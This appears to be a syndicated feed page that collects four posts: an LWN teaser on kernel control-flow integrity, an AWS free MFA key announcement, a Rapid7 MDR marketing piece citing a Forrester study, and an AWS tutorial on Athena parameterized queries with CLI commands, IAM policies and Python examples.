[$] Kernel support for hardware-based control-flow integrity

Post Syndicated from original https://lwn.net/Articles/900099/

Once upon a time, a simple stack overflow was enough to mount a
code-injection attack on a running system. In modern systems, though,
stacks are not executable and, as a result, simple overflow-based attacks
are no longer possible. In response, attackers have shifted to
control-flow attacks that make use of the code already present in the
target system. Hardware vendors have added a number of features intended to
thwart control-flow attacks; some of these features have better support
than other in the Linux kernel.

Eligible customers can now order a free MFA security key

Post Syndicated from CJ Moses original https://aws.amazon.com/blogs/security/eligible-customers-can-now-order-a-free-mfa-security-key/

One of the best ways for individuals and businesses to protect themselves online is through multi-factor authentication (MFA). MFA offers an additional layer of protection to help prevent unauthorized individuals from gaining access to systems or data.

In fall 2021, Amazon Web Services (AWS) Security began offering a free MFA security key to AWS account owners in the United States. I’m happy to announce that eligible customers can now order the free security key through the ordering portal in the AWS Management Console. In response to customer demand, we’ve streamlined the ordering process, especially for linked accounts. At this time, only U.S.-based AWS account root users who have spent more than $100 each month over the past 3 months are eligible to place an order.

To order your free security key

  1. Confirm your eligibility at the ordering portal. You will be prompted to sign in if you haven’t already.
  2. Choose your free security key from the available options.
  3. Provide your email address for order confirmation and your shipping address.
  4. Place your order.

You can connect the security key to AWS, as well as other security key–enabled applications, such as Dropbox, GitHub, and Gmail. If your organization is still early in adopting MFA, the free security key is another way to help protect your AWS account credentials, as well as to jump start your MFA journey by showing how convenient modern security keys are to use. As you expand your AWS usage, all your users should obtain and enable MFA. This can be done at the AWS Identity and Access Management (IAM) user level in the AWS identity system or upstream in your federated identity provider, since using federated identities is a best practice.

We encourage everyone to use MFA to help protect themselves online. Although some applications do not yet support security keys, nearly all provide an MFA option, such as time-based password codes or mobile push notifications. So, whether you’re signing in to your AWS account, your favorite social networks, or your bank account, MFA can help level-up your security posture.

If you’re not eligible for a free security key but would still like a security key, check out our MFA recommendations, which are available for purchase from many sellers, including Amazon. For more information about the MFA program, see our Free MFA Security Key page.

If you have feedback about this post, submit comments in the Comments section below.

Want more AWS Security how-to content, news, and feature announcements? Follow us on Twitter.

CJ Moses

CJ Moses

CJ is the Chief Information Security Officer (CISO) at AWS, where he leads product design and security engineering. His mission is to deliver the economic and security benefits of cloud computing to business and government customers. Previously, CJ led the technical analysis of computer and network intrusion efforts at the U.S. Federal Bureau of Investigation Cyber Division. He also served as a Special Agent with the U.S. Air Force Office of Special Investigations (AFOSI). CJ led several computer intrusion investigations seen as foundational to the information security industry today.

Rapid7 MDR Reduced Breaches by 90% via Greater Efficiency to Detect, Investigate, Respond to, and Remediate Breaches

Post Syndicated from Jake Godgart original https://blog.rapid7.com/2022/07/11/rapid7-mdr-reduced-breaches-by-90-via-greater-efficiency-to-detect-investigate-respond-to-and-remediate-breaches/

Rapid7 MDR Reduced Breaches by 90% via Greater Efficiency to Detect, Investigate, Respond to, and Remediate Breaches

When a security operations center (SOC) is operating at a deficit, they increase the possibility of beach reductions. That is, the likelihood they won’t be able to travel to any beaches – or any vacation destinations whatsoever – anytime in the near future. That can lead to burnout, which can lead to security talent loss, which can lead to the entire business being incredibly vulnerable.

So now let’s talk about breach reduction. As in, the charter of any security team.

No team can investigate every alert, but forging a valuable partnership with a Managed Detection and Response (MDR) provider can provide a turnkey solution and near-immediate headcount extension to your SOC.

A June 2022 Total Economic Impact™ study by Forrester Consulting commissioned by Rapid7 found that Rapid7’s SOC expertise – with XDR technology that generated improved visibility – enabled a composite organization using Rapid7 MDR to reduce the likelihood of a breach by 90% in the first year of partnership

The analysis was conducted using a hypothetical composite organization created for the purposes of the study, with insights gleaned from four real-life MDR customers. This composite reflects a security team profile we see often: a small team of two security analysts tasked with protecting 1,800 employees and 2,100 assets. We at Rapid7 see this as a tall order, but it’s one that (unfortunately) represents the state of security operations today.

The study concluded that partnering with Rapid7 MDR services experts enabled the composite organization to achieve end-to-end coverage and cut down on detection and response times. Let’s break down how Rapid7 MDR helped security teams reduce the likelihood of breaches by 90%.

1. Complete visibility into security environments

OK, so extended detection and response (XDR) isn’t exactly apples-to-apples with X-ray technology, but it’s an apt metaphor. Greater visibility, after all, helps to improve your overall security risk posture, and customers interviewed for the TEI study said their organizations were more secure thanks in part to this improved visibility. Rapid7’s InsightIDR uses its XDR superpowers to unify data from all over and beyond your modern environment, so it’s easier than ever to see and respond to a transgression.

The Rapid7 MDR team’s expertise in cloud-scalable XDR technology enables stronger signal-to-noise capabilities, so you only become aware of alerts that matter and get the peace of mind that comes from knowing we’ve got you covered. After all, being aware of a breach is better than not being aware of one – or having a customer alert you to the existence of a breach, which could lead to a different kind of breach: the relationship.

2. Detect and respond literally all day, every day

According to the Forrester TEI study, interviewed organizations had outdated technology that was used by staff to manually investigate each alert prior to partnering with Rapid7 MDR. These organizations’ security teams lacked expertise, were understaffed, and lacked visibility – the perfect storm to miss security incidents. Interviewees said there would be no way for them to implement a 24×7 detection and response program on their own without using Rapid7 MDR. As an interviewed director of information security for a financial services company said, “If we didn’t acquire Rapid7 MDR, I would have had to do a lot more manual work, and it would have kept me from other tasks.”  

With the modern proliferation of threats, the only thing to do is to have 24x7x365 coverage of your entire network. As referenced above, that can be expensive and near-impossible to maintain, unless you’re gaining leverage with the right MDR partner.

For example, with Rapid7 MDR, customers can opt in to Active Response, which enables our expert SOC analysts to respond to a validated threat on your behalf. The service also removes quite a few headaches, providing the flexibility to configure or cancel responses so that unauthorized quarantines occur less frequently (as they may with automated containment actions).

A customer SOC team will also have their own access to InsightIDR, the underlying technology of Rapid7’s MDR services. With the ability to also run your own investigations, your team will be able to see what we see, and follow along with the process. No black boxes or Wizard of Oz reenactments here.

These days we say that round-the-clock monitoring isn’t just important – it’s a must. A good MDR provider will be able to take on those duties, raising any incidents discovered and validated, day and night. In particular, Rapid7 utilizes a follow-the-sun methodology. This purpose-built monitoring engine leverages incident-response (IR) teams all over the world – Australia, Ireland, the United States, and more – to ensure awake and active detection and response experts are investigating security alerts and only notifying you when there’s an actual incident. From the SOC or remote locations, these IR teams can perform real-time log analysis, threat hunting, and alert validation, for any customer.

Redundancy is key here. Attackers never take a day off, but security professionals working 9 to 5 do. Whether it’s national holidays or vacation season, the majority of attacks occur around these specific times security experts might set their status to “away.”

3. Gain more freedom to focus their energy elsewhere

In the TEI study, Forrester found that Rapid7 MDR was able to provide security teams with greater information and curated alert detections, with the ability to block specific threats. MDR also improved response times to detections by providing teams with a security resource dedicated to security incidents that require any response. This meant internal security teams could focus on other priorities and business objectives without dealing with:

Alert triage and investigations

An interviewed senior cybersecurity analyst at a technology solutions firm said analysts previously spent three to four hours a day on alert management. Now, with MDR, that same process only takes 10 minutes of their time! That means the small team can focus on other elements of their security program knowing there’s another team of experts monitoring their environment around the clock.

Threat response

An interviewed CISO at a healthcare firm reported that their response could take up to two weeks prior to MDR. That’s a long time! With Rapid7 MDR, the security team was able to detect and respond in three days instead. The interviewed senior cybersecurity analyst from the technology solutions firm said response may have taken days prior to Rapid7 MDR, but now the security team can respond in 30 minutes! Greater efficiency (and faster response) meant lower likelihood of future breaches and lower impact of any breaches.

Post-detection reporting

The interviewed cybersecurity analyst from the technology solutions firm said that before Rapid7 MDR, it took an entire day to compile a quarterly executive summary and two monthly reports because it meant parsing through log data and finding the right information. Now with MDR, the report is created for them and their ability to create and deliver this to their team is more efficient. That means they can spend more time protecting the organization, not reporting.

4. $1.6 million in savings over 3 years

When an organization can reduce the likelihood of attacks by 90%, that can result in some serious ROI. How serious? The composite organization profiled in the Forrester study was able to see a breach cost avoidance – or savings – of $1.6 million over three years when partnered with Rapid7 MDR.

The composite organization saw an average of 2.5 incidents per year, with an average cost per security breach $654,846. This average cost included damage to brand equity and customer loyalty. We at Rapid7 are also cognizant of the mental toll those incidents take on the entire business, as well as the loss of forward momentum on any current initiatives – it all comes to a stop when a breach occurs and disrupts. This is why it’s critical to have a team spot threats early and respond to them quickly.

For the more advanced, large-scale breaches, sometimes it requires backup. Luckily, Rapid7 MDR now includes Unlimited IR to ensure major incidents are handled by our Digital Forensics and Incident Response (DFIR) experts. The merger of the MDR and IR Consulting teams accelerates a breach investigation by instantly pulling in senior-level IR experts to an emergency situation and ensuring the response is as efficient as possible.

Rapid7 MDR teams use our open-source DFIR tool, Velociraptor, the same tools and experience you’d receive if you called the breach hotline. These experts leverage multiple types of forensics (file-system, memory, and network), as well as attack intelligence and enhanced endpoint visibility to quickly organize and interpret data. Then? Kick the threat out and slam the door behind them.

Defense in depth

Beyond the need for agile detection and response abilities, preventive solutions are also of critical importance. At a device level, it is of course always prudent to ensure things like multifactor authentication (MFA), antivirus or NGAV (NextGen Antivirus) software, and/or an endpoint protection platform (EPP) – designed to detect suspicious behavior and stop attacks – are part of your preventive behavior.

At a more macro level (i.e., a SOC in the security organization of a Fortune 500 company independent of the Forrester study), the following preventive solutions should always be part of the mix:  

  • Vulnerability Risk Management: It’s easier to detect and respond to the bad guys in the environment when you limit the number of doors they can walk through. Vulnerabilities are always at risk of exploitation. Managing that risk is what InsightVM was made to do. It helps to secure your entire attack surface with visibility and behavioral assessment of your network-wide assets, as well as analyzing business context so it can prioritize the most critical issues.
  • Cloud Security: It takes cloud-native to protect cloud-based. InsightCloudSec provides visibility of all of your cloud assets in one, user-friendly place. Get immediate risk assessment with full context across infrastructure, orchestration, workload, and data tiers.    
  • Application Security: More complex apps means more security required. With the ability to crawl and assess these modern web apps, InsightAppSec returns fewer false positives via features like the Universal Translator and its ability to bring flexibility to the security testing process. Finding threats with Dynamic Application Security Testing (DAST) – using the same exploits that an attacker would – is one of the keys to stopping web application-based attacks.
  • Security Orchestration Automation and Response (SOAR): The composite organization from the Forrester study took advantage of Rapid7 MDR’s utilization of Active Response, Rapid7’s Security Orchestration, Automation, and Response (SOAR) technology, as well as skilled SOC experts to quickly respond to and remediate threats.  

By incorporating preventive and responsive solutions, you’ll work less by working smarter. Which, oftentimes, means letting someone else take on key aspects of your program. You can read the entire Forrester TEI study to get the deep-dive from interviewed customers – along with the numbers and stories they shared – on Rapid7 MDR.

But what the study does not quantify is Rapid7’s commitment to partnering with our customers to improve their security maturity, providing expertise that drives returns for your detection and response program where and when you need it. Considering MDR but don’t know where to start? We put together an MDR Buyer’s Guide that includes priority questions to ask when you’re seeking the right partner.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Use Amazon Athena parameterized queries to provide data as a service

Post Syndicated from Blayze Stefaniak original https://aws.amazon.com/blogs/big-data/use-amazon-athena-parameterized-queries-to-provide-data-as-a-service/

Amazon Athena now provides you more flexibility to use parameterized queries for any query you send to Athena, and we recommend you use them as the best practice for your Athena queries moving forward so you benefit from the security, reusability, and simplicity they offer. In a previous post, Improve reusability and security using Amazon Athena parameterized queries, we explained how parameterized queries with prepared statements provide reusability of queries, protection against SQL injection, and masking of query strings from AWS CloudTrail events. In this post, we explain how you can run Athena parameterized queries using the ExecutionParameters property in your StartQueryExecution requests. We provide a sample application you can reference for using parameterized queries, with and without prepared statements. Athena parameterized queries can be integrated into many data driven applications, and we walk you through a sample data as a service application to see how parameterized queries can plug in.

Customers tell us they are finding new ways to make effective use of their data assets by providing data as a service (DaaS). In this post, we share a sample architecture using parameterized queries applied in the form of a DaaS application. This is helpful for many types of organizations, whether you’re working with an enterprise making data available to other lines of business, a regulator making reports available to your industry, a company monetizing your data assets, an independent software vendor (ISV) enabling your applications’ tenants to query their data when they need it, or trying to share data at scale in other ways. In DaaS applications, you can provide predefined queries to run against your governed datasets with values your users input. You can expand your DaaS application to break away from monolithic data infrastructure by treating data as a product (DaaP) and providing a distribution of datasets, which have distinct domain-specific data pipelines. You can authorize these datasets to consumers in your DaaS application permissions. You can use Athena parameterized queries as a way to predefine your queries, which you can use to run queries across your datasets, and serve as a layer of protection for your DaaS applications. This post first describes how parameterized queries work, then applies parameterized queries in the form of a DaaS application.

Feature overview

In any query you send to Athena, you can use positional parameters declared by a question mark (?) in your query string, then declare values as execution parameters sequentially in your StartQueryExecution request. You can use execution parameters with your existing prepared statements and also with any SQL queries in Athena. You can still take advantage of the reusability and security benefits of parameterized queries, and using execution parameters also masks your query’s parameters when viewing recent queries in Athena. You can also change from building SQL query strings manually to using execution parameters; this allows you to run parameterized queries without needing to first create prepared statements. For more information on using execution parameters, refer to StartQueryExecution.

Previously, you could only run parameterized queries by first creating prepared statements in your Athena workgroup, then running parameterized queries while passing variables into an EXECUTE SQL statement with the USING clause. You are no longer required to create and maintain prepared statements across all of your Athena workgroups to take advantage of parameterization. This is helpful if you run the same queries across multiple workgroups or otherwise do not need the prepared statements feature.

You can continue to use Athena workgroups to isolate, implement individual cost constraints, and track query-related metrics for tenants within your multi-tenant application. For example, your DaaS application’s customers can run the same queries against your dataset with separate workgroups. For more information on Athena workgroups, refer to Using workgroups for running queries.

Changing your code to use parameterized queries

Changing your existing code to use parameterized queries is a small change which will have an immediate positive impact. Previously, you were required to build your query string value manually using environment variables as parameter placeholders. Manipulating the query string can be burdensome and has an inherent risk for injecting undesired values or SQL fragments (such as SQL operators), regardless of intent. You can now replace variables in your query string with a question mark (?), and declare your variable values sequentially with the ExecutionParameters option. By doing so, you take advantage of the security benefits of parameterized queries, and your queries are less complicated to author and maintain. The syntax change is shown in the following code, using the AWS Command Line Interface (AWS CLI) as an example.

Previously, running queries against Athena without execution parameters:

aws athena start-query-execution \
--query-string "SELECT * FROM table WHERE x = $ARG1 AND y = $ARG2 AND z = $ARG3" \
--query-execution-context "Database"="default" \
--work-group myWorkGroup

Now, running parameterized queries against Athena with execution parameters:

aws athena start-query-execution \
--query-string "SELECT * FROM table WHERE x = ? AND y = ? AND z = ?" \
--query-execution-context "Database"="default" \
--work-group myWorkGroup \
--execution-parameters $ARG1 $ARG2 $ARG3

The following is an example of a command that creates a prepared statement in your Athena workgroup. To learn more about creating prepared statements, refer to Querying with prepared statements.

aws athena start-query-execution \
--query-string "PREPARE my-prepared-statement FROM SELECT * FROM table WHERE x = ? AND y = ? AND z = ?" \
--query-execution-context "Database"="default" \
--work-group myWorkGroup

Previously, running parameterized queries against prepared statements without execution parameters:

aws athena start-query-execution \
--query-string "EXECUTE my-prepared-statement USING $ARG1, $ARG2, $ARG3“ \
--query-execution-context "Database"="default" \
--work-group myWorkGroup

Now, running parameterized queries against prepared statements with execution parameters:

aws athena start-query-execution \
--query-string "EXECUTE my-prepared-statement" \
--query-execution-context "Database"="default" \
--work-group myWorkGroup \
--execution-parameters $ARG1 $ARG2 $ARG3

Sample architecture

The purpose of this sample architecture is to apply the ExecutionParameters feature when running Athena queries, with and without prepared statements. This is not intended to be a DaaS solution for use with your production data.

This sample architecture exhibits a DaaS application with a user interface (UI) that presents three Athena parameterized queries written against the public Amazon.com customer reviews dataset. The following figure depicts this workflow when a user submits a query to Athena. This example uses AWS Amplify to host a front-end application. The application calls an Amazon API Gateway HTTP API, which invokes AWS Lambda functions to authenticate requests, fetch the Athena prepared statements and named queries, and run the parameterized queries against Athena. The Lambda function uses the name of the Athena workgroup, statement name, statement type (prepared statement or not), and a list of query parameters input by the user. Athena queries data in an Amazon Simple Storage Service (Amazon S3), bucket which is cataloged in AWS Glue, and presents results to the user on the DaaS application UI.

Diagram showing the process of using a sample DaaS web application. Web Application Users use an Amplify application to run Athena parameterized queries. The application sends HTTP requests to API Gateway. API Gateway authenticates incoming requests with a Lambda function. API Gateway processes the request to start the query against Athena. Athena uses Glue Data Catalog and queries data from an S3 bucket. The query results are stored in an S3 bucket, and presented to the Web Application Users.

End-users of the DaaS application UI can run only parameterized queries against Athena. The DaaS application UI demonstrates two ways to run parameterized queries with execution parameters: with and without prepared statements. In both cases, the Lambda function submits the query, waits for the query to complete, and provides the results that match the query parameters. The following figure depicts the DaaS application UI.

Screenshot of the application divided into two sections, one for querying prepared statements another without prepared statements. Both sections include a Workgroup name selector, statement selector, statement description, statement SQL query string, input fields to enter parameter arguments, and a button to launch the query. Selected on the screenshot is the sample workgroup created by the CloudFormation template, and a count of reviews in a given product category sample query statement. User entered ‘Video_Games’ as the product category.

You may want your users to have the ability to list all Athena prepared statements within your Athena workgroup, select a statement, input arguments, and run the query; on the left side of the DaaS application UI, you use an EXECUTE statement to query the data lake with an Athena prepared statement. You may have several reporting queries maintained in your code base. In this case, your users select a statement, input arguments, and run the query. On the right side of the DaaS application UI, you use a SELECT statement to use Athena parameterized queries without prepared statements.

Prerequisites

This post uses the following AWS services to demonstrate a DaaS architecture pattern that uses Athena to query the Amazon.com customer reviews dataset:

This post assumes you have the following:

Deploy the CloudFormation stack

In this section, you deploy a CloudFormation template that creates the following resources:

  • AWS Glue Data Catalog database
  • AWS Glue Data Catalog table
  • An Athena workgroup
  • Three Athena prepared statements
  • Three Athena named queries
  • The API Gateway HTTP API
  • The Lambda execution role for Athena queries
  • The Lambda execution role for API Gateway HTTP API authorization
  • Five Lambda functions:
    • Update the AWS Glue Data Catalog
    • Authorize API Gateway requests
    • Submit Athena queries
    • List Athena prepared statements
    • List Athena named queries

Note that this CloudFormation template was tested in AWS Regions ap-southeast-2, ca-central-1, eu-west-2, us-east-1, us-east-2, and us-west-2. Note that deploying this into your AWS account will incur cost. Steps for cleaning up the resources are included later in this post.

To deploy the CloudFormation stack, follow these steps:

  1. Navigate to this post’s GitHub repository.
  2. Clone the repository or copy the CloudFormation template athena-parameterized-queries.yaml.
  3. On the AWS CloudFormation console, choose Create stack.
  4. Select Upload a template file and choose Choose file.
  5. Upload athena-parameterized-queries.yaml, then choose Next.
  6. On the Specify stack details page, enter the stack name athena-parameterized-queries.
  7. On the same page, there are two parameters:
    1. For S3QueryResultsBucketName, enter the S3 bucket name in your AWS account and in the same AWS Region as where you’re running your CloudFormation stack. (For this post, we use the bucket name value, like my-bucket).
    2. For APIPassphrase, enter a passphrase to authenticate API requests. You use this later.
  8. Choose Next.
  9. On the Configure stack options page, choose Next.
  10. On the Review page, select I acknowledge that AWS CloudFormation might create IAM resources with custom names, and choose Create stack.

The script takes less than two minutes to run and change to a CREATE_COMPLETE state. If you deploy the stack twice in the same AWS account and Region, some resources may already exist, and the process fails with a message indicating the resource already exists in another template.

  1. On the Outputs tab, copy the APIEndpoint value to use later.

For least-privilege authorization for deployment of the CloudFormation template, you can create an AWS CloudFormation service role with the following IAM policy actions. To do this, you must create an IAM policy and IAM role, and choose this role when configuring stack options. You need to replace the values for ${Partition}, ${AccountId}, and ${Region} with your own values; for more information on these values, refer to Pseudo parameters reference.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "IAM",
            "Effect": "Allow",
            "Action": [
                "iam:GetRole",
                "iam:UntagRole",
                "iam:TagRole",
                "iam:CreateRole",
                "iam:DeleteRole",
                "iam:PassRole",
                "iam:GetRolePolicy",
                "iam:PutRolePolicy",
                "iam:AttachRolePolicy",
                "iam:TagPolicy",
                "iam:DeleteRolePolicy",
                "iam:DetachRolePolicy",
                "iam:UntagPolicy"
            ],
            "Resource": [
                "arn:${Partition}:iam::${AccountId}:role/LambdaAthenaExecutionRole-athena-parameterized-queries",
                "arn:${Partition}:iam::${AccountId}:role/service-role/LambdaAthenaExecutionRole-athena-parameterized-queries",
                "arn:${Partition}:iam::${AccountId}:role/service-role/LambdaAuthorizerExecutionRole-athena-parameterized-queries",
                "arn:${Partition}:iam::${AccountId}:role/LambdaAuthorizerExecutionRole-athena-parameterized-queries"
            ]
        },
        {
            "Sid": "LAMBDA",
            "Effect": "Allow",
            "Action": [
                "lambda:CreateFunction",
                "lambda:GetFunction",
                "lambda:InvokeFunction",
                "lambda:AddPermission",
                "lambda:DeleteFunction",
                "lambda:RemovePermission",
                "lambda:UpdateFunctionConfiguration"
            ],
            "Resource": [
                "arn:${Partition}:lambda:${Region}:${AccountId}:function:LambdaRepairFunction-athena-parameterized-queries",
                "arn:${Partition}:lambda:${Region}:${AccountId}:function:LambdaAthenaFunction-athena-parameterized-queries",
                "arn:${Partition}:lambda:${Region}:${AccountId}:function:LambdaAuthorizerFunction-athena-parameterized-queries",
                "arn:${Partition}:lambda:${Region}:${AccountId}:function:GetPrepStatements-athena-parameterized-queries",
                "arn:${Partition}:lambda:${Region}:${AccountId}:function:GetNamedQueries-athena-parameterized-queries"
            ]
        },
        {
            "Sid": "ATHENA",
            "Effect": "Allow",
            "Action": [
                "athena:GetWorkGroup",
                "athena:CreateWorkGroup",
                "athena:DeleteWorkGroup",
                "athena:DeleteNamedQuery",
                "athena:CreateNamedQuery",
                "athena:CreatePreparedStatement",
                "athena:DeletePreparedStatement",
                "athena:GetPreparedStatement"
            ],
            "Resource": [
                "arn:${Partition}:athena:${Region}:${AccountId}:workgroup/ParameterizedStatementsWG"
            ]
        },
        {
            "Sid": "GLUE",
            "Effect": "Allow",
            "Action": [
                "glue:CreateDatabase",
                "glue:DeleteDatabase",
                "glue:CreateTable",
                "glue:DeleteTable"
            ],
            "Resource": [
                "arn:${Partition}:glue:${Region}:${AccountId}:catalog",
                "arn:${Partition}:glue:${Region}:${AccountId}:database/athena_prepared_statements",
                "arn:${Partition}:glue:${Region}:${AccountId}:table/athena_prepared_statements/*",
                "arn:${Partition}:glue:${Region}:${AccountId}:userDefinedFunction/athena_prepared_statements/*"
            ]
        },
        {
            "Sid": "APIGATEWAY",
            "Effect": "Allow",
            "Action": [
                "apigateway:DELETE",
                "apigateway:PUT",
                "apigateway:PATCH",
                "apigateway:POST",
                "apigateway:TagResource",
                "apigateway:UntagResource"
            ],
            "Resource": [
                "arn:${Partition}:apigateway:${Region}::/apis/*/integrations*",
                "arn:${Partition}:apigateway:${Region}::/apis/*/stages*",
                "arn:${Partition}:apigateway:${Region}::/apis/*/authorizers*",
                "arn:${Partition}:apigateway:${Region}::/apis/*/routes*",
                "arn:${Partition}:apigateway:${Region}::/tags/arn%3Aaws%3Aapigateway%3A${Region}%3A%3A%2Fv2%2Fapis%2F*"
            ]
        },
        {
            "Sid": "APIGATEWAYMANAGEAPI",
            "Effect": "Allow",
            "Action": [
                "apigateway:DELETE",
                "apigateway:PUT",
                "apigateway:PATCH",
                "apigateway:POST",
                "apigateway:GET"
            ],
            "Resource": [
                "arn:${Partition}:apigateway:${Region}::/apis"
            ],
            "Condition": {
                "StringEquals": {
                    "apigateway:Request/ApiName": "AthenaAPI-athena-parameterized-queries"
                }
            }
        },
        {
            "Sid": "APIGATEWAYMANAGEAPI2",
            "Effect": "Allow",
            "Action": [
                "apigateway:DELETE",
                "apigateway:PUT",
                "apigateway:PATCH",
                "apigateway:POST",
                "apigateway:GET"
            ],
            "Resource": [
                "arn:${Partition}:apigateway:${Region}::/apis/*"
            ],
            "Condition": {
                "StringEquals": {
                    "apigateway:Resource/ApiName": "AthenaAPI-athena-parameterized-queries"
                }
            }
        },
        {
            "Sid": "APIGATEWAYGET",
            "Effect": "Allow",
            "Action": [
                "apigateway:GET"
            ],
            "Resource": [
                "arn:${Partition}:apigateway:${Region}::/apis/*"
            ]
        },
        {
            "Sid": "LAMBDALAYER",
            "Effect": "Allow",
            "Action": [
                "lambda:GetLayerVersion"
            ],
            "Resource": [
                "arn:${Partition}:lambda:*:280475519630:layer:boto3-1_24*"
            ]
        }
    ]
}

After you create the CloudFormation stack, you use the AWS management console to deploy an Amplify application and view the Lambda functions. The following is the scoped-down IAM policy that you can attach to an IAM user or role to perform these operations:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AmplifyCreateApp",
            "Effect": "Allow",
            "Action": [
                "amplify:CreateBranch",
                "amplify:StartDeployment",
                "amplify:CreateDeployment",
                "amplify:CreateApp",
                "amplify:StartJob"
            ],
            "Resource": "arn:${Partition}:amplify:${Region}:${AccountId}:apps/*"
        },
        {
            "Sid": "AmplifyList",
            "Effect": "Allow",
            "Action": "amplify:List*",
            "Resource": "arn:${Partition}:amplify:${Region}:${AccountId}:apps/*"
        },
        {
            "Sid": "AmplifyGet",
            "Effect": "Allow",
            "Action": "amplify:GetJob",
            "Resource": "arn:${Partition}:amplify:${Region}:${AccountId}:apps/*"
        },
        {
            "Sid": "LambdaList",
            "Effect": "Allow",
            "Action": [
                "lambda:GetAccountSettings",
                "lambda:ListFunctions"
            ],
            "Resource": "*"
        },
        {
            "Sid": "LambdaFunction",
            "Effect": "Allow",
            "Action": [
                "lambda:GetFunction"
            ],
            "Resource": "arn:${Partition}:lambda:${Region}:${AccountId}:function:LambdaAthenaFunction-athena-parameterized-queries"
        }
    ]
}

Note that you need the following IAM policy when deploying your Amplify application to set a global password, and when cleaning up your resources to delete the Amplify application. Remember to replace ${AppARN} with the ARN of the Amplify application. You can find the ARN after creating the Amplify app on the General tab in the App Settings section of the Amplify console.

{
   "Version": "2012-10-17",
   "Statement": [
       {
           "Sid": "UpdateAndDeleteAmplifyApp",
           "Effect": "Allow",
            "Action": [
                "amplify:DeleteApp",
                "amplify:UpdateApp"
            ],
           "Resource": "${AppARN}"
       }
   ]
}

Deploy the Amplify application

In this section, you deploy your Amplify application.

  1. In the cloned repository, open web-application/.env in a text editor.
  2. Set AWS_API_ENDPOINT as the APIEndpoint value from the CloudFormation stack Outputs For example: AWS_API_ENDPOINT="https://123456abcd.execute-api.your-region.amazonaws.com".
  3. Set API_AUTH_CODE as the value you input as the CloudFormation stack’s APIPassphrase parameter argument. For example: API_AUTH_CODE="YOUR_PASSPHRASE".
  4. Navigate to the web-application/ directory and run npm install.
  5. Run npm run build to compile distribution assets.
  6. On the Amplify console, choose All apps.
  7. Choose New app.
  8. Select Host web app, select Deploy without Git provider, then choose Continue.
  9. For App name, enter Athena Parameterized Queries App.
  10. For Environment name¸ you don’t need to enter a value.
  11. Select Drag and Drop.
  12. Locate the dist/ directory inside web-application/, drag it into the window and drop it. Ensure you drag the entire directory, not the files within it.Screen shot depicting dragging and dropping the "dist/" directory into Amplify's drag and drop area for the Athena Parameterized Queries App.
  13. Choose Save and deploy to deploy the web application on Amplify.

This step takes less than a minute to complete.

  1. Under App settings, choose Access control, then choose Manage access.
  2. Select Apply a global password, then enter values for Username and Password.

You use these credentials to access your Amplify application.

Access your Amplify application and run queries

In this section, you use the Amplify application to run Athena parameterized queries against the Amazon.com customer reviews dataset. The left side of the application shows how you can run parameterized queries using Athena prepared statements. The right side of the application shows how you can run parameterized queries without prepared statements, such as if the queries are written in your code. The sample in this post uses named queries within the Athena workgroup. For more information about named queries, refer to NamedQuery.

  1. Open the Amplify web application link located under Domain. For example: https://dev123.abcd12345xyz.amplifyapp.com/.
  2. In the Sign in prompt, enter the user name and password you provided as the Amplify application global password.
  3. For Workgroup Name, choose the ParameterizedStatementsWG workgroup.
  4. Choose a statement example on the Prepared Statement or SQL Statement drop-down menu.

Selecting a statement displays a description about the query, including examples of parameters you can try with this statement, and the original SQL query string. SQL parameters of type string must be surrounded by single quotes, for example: 'your_string_value'.

  1. Enter your query parameters.

The following figure shows an example of the parameters to input for the product_helpful_reviews prepared statement.

Screenshot of the Athena prepared statements window in the DaaS application. The sample workgroup created by the CloudFormation template is selected. A sample query is selected, which retrieves customer reviews for a given product id based on the review's star rating and count of helpful votes. The user entered ‘BT00DDVMVQ’ as the product id value, 4 as the star rating value, and 10 as the value for minimum count of helpful votes.

  1. Choose Run Query to send the query request to the API endpoint.

After the query runs, the sample application presents the results in a table format, as depicted in the following screenshot. This is one of many ways to present results, and your application can display results in the format which makes the most sense for your users. The complete query workflow is depicted in the previous architecture diagram.

Screenshot of the sample application's query results rendered in a table format. The table has columns for product_id, product_title, star_rating, helpful_votes, review_headline, and review_body. The query returned two results, which are 4 star reviews for the Amazon Smile eGift Card.

Using execution parameters with the AWS SDK for Python (Boto3)

In this section, you inspect the Lambda function code for using the StartQueryExecution API with and without prepared statements.

  1. On the Lambda console, choose Functions.
  2. Navigate to the LambdaAthenaFunction-athena-parameterized-queries function.
  3. Choose the Code Source window.

Examples of passing parameters to the Athena StartQueryExecution API using the AWS SDK for Python (Boto3) begin on lines 39 and 49. Note the ExecutionParameters option on lines 45 and 55.

The following code uses execution parameters with Athena prepared statements:

response = athena.start_query_execution(
    QueryString=f'EXECUTE {statement}', # Example: "EXECUTE prepared_statement_name"
    WorkGroup=workgroup,
    QueryExecutionContext={
        'Database': 'athena_prepared_statements'
    },
    ExecutionParameters=input_parameters
)

The following code uses execution parameters without Athena prepared statements:

response = athena.start_query_execution(
    QueryString=statement, # Example: "SELECT * FROM TABLE WHERE parameter_name = ?"
    WorkGroup=workgroup,
    QueryExecutionContext={
        'Database': 'athena_prepared_statements'
    },
    ExecutionParameters=input_parameters
)

Clean up

In this post, you created several components, which generate cost. To avoid incurring future charges, remove the resources with the following steps:

  1. Delete the S3 bucket’s results prefix created after you ran a query on your workgroup.

With the default template, the prefix is named <S3QueryResultsBucketName>/athena-results. Use caution in this step. Unless you are using versioning on your S3 bucket, deleting S3 objects can’t be undone.

  1. On the Amplify console, select the app to delete and on the Actions menu, choose Delete app, then confirm.
  2. On the AWS CloudFormation console, select the stack to delete, choose Delete, and confirm.

Conclusion

In this post, we showed how you can build a DaaS application using Athena parameterized queries. The StartQueryExecution API in Athena now supports execution parameters, which allows you to run any Athena query as a parameterized query. You can decouple your execution parameters from your query strings, and use parameterized queries without being limited to the Athena workgroups where you have created prepared statements. You can take advantage of the security benefits Athena offers with parameterized queries, and developers no longer need to build query strings manually. In this post, you learned how to use execution parameters, and you deployed a DaaS reference architecture to see how parameterized queries can be applied.

You can get started with Athena parameterized queries by using the Athena console, the AWS CLI, or the AWS SDK. To learn more about Athena, refer to the Amazon Athena User Guide.

Thanks for reading this post! If you have questions about Athena prepared statements and parameterized queries, don’t hesitate to leave a comment.


About the Authors

